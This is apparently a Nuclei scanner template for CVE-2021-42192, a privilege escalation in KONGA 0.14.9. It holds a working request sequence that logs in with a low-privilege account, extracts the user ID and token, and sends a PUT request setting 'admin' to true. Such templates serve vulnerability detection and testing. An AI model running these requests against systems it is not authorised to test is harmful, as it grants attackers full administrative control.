90 lines
2.7 KiB
YAML
90 lines
2.7 KiB
YAML
id: CVE-2021-42192
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info:
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name: KONGA 0.14.9 - Privilege Escalation
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author: rschio
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severity: high
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description: KONGA 0.14.9 allows attackers to set higher privilege users to full administration access. The attack vector is a crafted condition, as demonstrated by the /api/user/{ID} at ADMIN parameter.
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remediation: |
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Upgrade to a patched version of KONGA or apply the necessary security patches provided by the vendor.
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reference:
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- http://n0hat.blogspot.com/2021/11/konga-0149-privilege-escalation-exploit.html
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- https://www.exploit-db.com/exploits/50521
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- hhttps://nvd.nist.gov/vuln/detail/CVE-2021-42192
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- https://docs.google.com/document/d/1-YU9zWiDVUps3Mb6zos3996yvZ48vW_vfOvaJLLHc4I/edit?usp=sharing
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- https://github.com/pantsel/konga/
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 8.8
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cve-id: CVE-2021-42192
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cwe-id: CWE-863
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epss-score: 0.0106
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epss-percentile: 0.82509
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cpe: cpe:2.3:a:konga_project:konga:0.14.9:*:*:*:*:*:*:*
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metadata:
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max-request: 3
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vendor: konga_project
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product: konga
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tags: authenticated,edb,cve,cve2021,konga,intrusive
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http:
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- raw:
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- |
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POST /login HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/json
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{"password": "{{password}}", "identifier": "{{username}}"}
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- |
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POST /api/user/{{id}} HTTP/1.1
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Host: {{Hostname}}
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Origin: {{BaseURL}}
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Referer: {{BaseURL}}
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Content-Type: application/json;charset=utf-8
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{"token": "{{token}}"}
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- |
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PUT /api/user/{{id}} HTTP/1.1
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Host: {{Hostname}}
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Origin: {{BaseURL}}
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Referer: {{BaseURL}}
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Content-Type: application/json;charset=utf-8
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{"admin": "true", "passports": {"password": "{{password}}", "protocol": "local"}, "token": "{{token}}", "password_confirmation": "{{password}}"}
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req-condition: true
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matchers-condition: and
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matchers:
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- type: dsl
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dsl:
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- contains(body_2, "\"admin\":false")
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- contains(body_3, "\"admin\":true")
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condition: and
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- type: word
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part: header
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words:
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- application/json
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- type: status
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status:
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- 200
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extractors:
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- type: regex
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name: id
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group: 1
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regex:
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- '"id":([0-9]+)'
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internal: true
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part: body
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- type: regex
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name: token
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group: 1
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regex:
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- '"token":"(.*)"'
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internal: true
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part: body
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# digest: 4a0a00473045022100b4f83865df65a50624388798bc159bd15c3f6e4eddfa64ccb6fae1327c98fd330220569baba2a25f19a0a809184e5b782f82ed22ec5600e716d4dc3a4cd415783d43:922c64590222798bb761d5b6d8e72950 |